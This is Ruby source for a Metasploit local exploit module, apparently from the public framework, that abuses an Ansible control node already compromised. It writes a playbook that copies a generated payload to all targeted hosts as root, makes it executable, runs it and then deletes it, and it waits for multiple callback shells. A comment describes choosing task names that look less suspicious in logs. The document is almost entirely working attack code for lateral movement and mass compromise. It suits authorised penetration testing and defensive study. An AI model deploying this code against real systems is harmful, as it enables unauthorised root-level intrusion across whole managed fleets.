## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Exploit::Local::Ansible prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Ansible Agent Payload Deployer', 'Description' => %q{ This exploit module creates an ansible module for deployment to nodes in the network. It creates a new yaml playbook which copies our payload, chmods it, then runs it on all targets which have been selected (default all). }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'n0tty' # original PoC, analysis ], 'Platform' => [ 'linux' ], 'Stance' => Msf::Exploit::Stance::Passive, 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'URL', 'https://github.com/n0tty/Random-Hacking-Scripts/blob/master/pwnsible.sh'], [ 'URL', 'https://web.archive.org/web/20180220031610/http://n0tty.github.io/2017/06/11/Enterprise-Offense-IT-Operations-Part-1'], ], 'DisclosureDate' => '2017-06-12', # pwnsible script but prob way before that 'DefaultTarget' => 0, 'Passive' => true, # this allows us to get multiple shells calling home 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK] } ) ) register_options [ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), OptString.new('HOSTS', [ true, 'Which ansible hosts to target', 'all' ]), OptBool.new('CALCULATE', [ true, 'Calculate how many boxes will be attempted', true ]), OptString.new('TargetWritableDir', [ true, 'A directory where we can write files on targets', '/tmp' ]), OptInt.new('ListenerTimeout', [ true, 'The maximum number of seconds to wait for new sessions', 60 ]) ] end def module_contents(payload_name) # The `name` field in `tasks` is a required field, and it gets logged, so randomizing may be a little too obvious, I've opted for just numbers in this case. "- name: #{Rex::Text.rand_text_numeric(3..6)} hosts: #{datastore['HOSTS']} remote_user: root tasks: - name: 1 ansible.builtin.copy: src: #{datastore['WritableDir']}/#{payload_name} dest: #{datastore['TargetWritableDir']}/#{payload_name} - name: 2 ansible.builtin.file: path: #{datastore['TargetWritableDir']}/#{payload_name} owner: root group: root mode: '0700' - name: 3 command: #{datastore['TargetWritableDir']}/#{payload_name} - name: 4 file: path: #{datastore['TargetWritableDir']}/#{payload_name} state: absent " end def check return CheckCode::Safe('Ansible does not seem to be installed, unable to find ansible executable') if ansible_playbook_exe.nil? CheckCode::Appears('ansible playbook executable found') end def ping_hosts_print results = ping_hosts if results.nil? print_error('Unable to parse ping hosts results') return end columns = ['Host', 'Status', 'Ping', 'Changed'] table = Rex::Text::Table.new('Header' => 'Ansible Pings', 'Indent' => 1, 'Columns' => columns) count = 0 results.each do |match| table << [match['host'], match['status'], match['ping'], match['changed']] count += 1 if match['ping'] == 'pong' end print_good(table.to_s) unless table.rows.empty? # give the user a few seconds to cancel if its too many etc print_good("#{count} ansible hosts were pingable, and will attempt to execute payload. If this isn't an expected volume (too many), ctr+c to halt execution. Pausing 10 seconds.") Rex.sleep(10) end def exploit # Make sure we can write our exploit and payload to the local system fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" unless writable? datastore['WritableDir'] ping_hosts_print if datastore['CALCULATE'] payload_name = rand_text_alphanumeric(5..10) module_name = rand_text_alphanumeric(5..10) print_status('Creating yaml job to execute') yaml_file = "#{datastore['WritableDir']}/#{module_name}.yaml" write_file(yaml_file, module_contents(payload_name)) register_file_for_cleanup(yaml_file) print_status('Writing payload') upload_and_chmodx "#{datastore['WritableDir']}/#{payload_name}", generate_payload_exe register_file_for_cleanup("#{datastore['WritableDir']}/#{payload_name}") # cleanup payload on host, not targets print_status('Executing ansible job') resp = cmd_exec("#{ansible_playbook_exe} #{yaml_file}") playbook_log = store_loot('ansible.playbook.log', 'text/plain', session, resp, 'ansible.playbook.log', 'Ansible playbook log') print_good("Stored run logs to: #{playbook_log}") # stolen from exploit/multi/handler stime = Time.now.to_f timeout = datastore['ListenerTimeout'].to_i loop do break if timeout > 0 && (stime + timeout < Time.now.to_f) Rex::ThreadSafe.sleep(1) end end end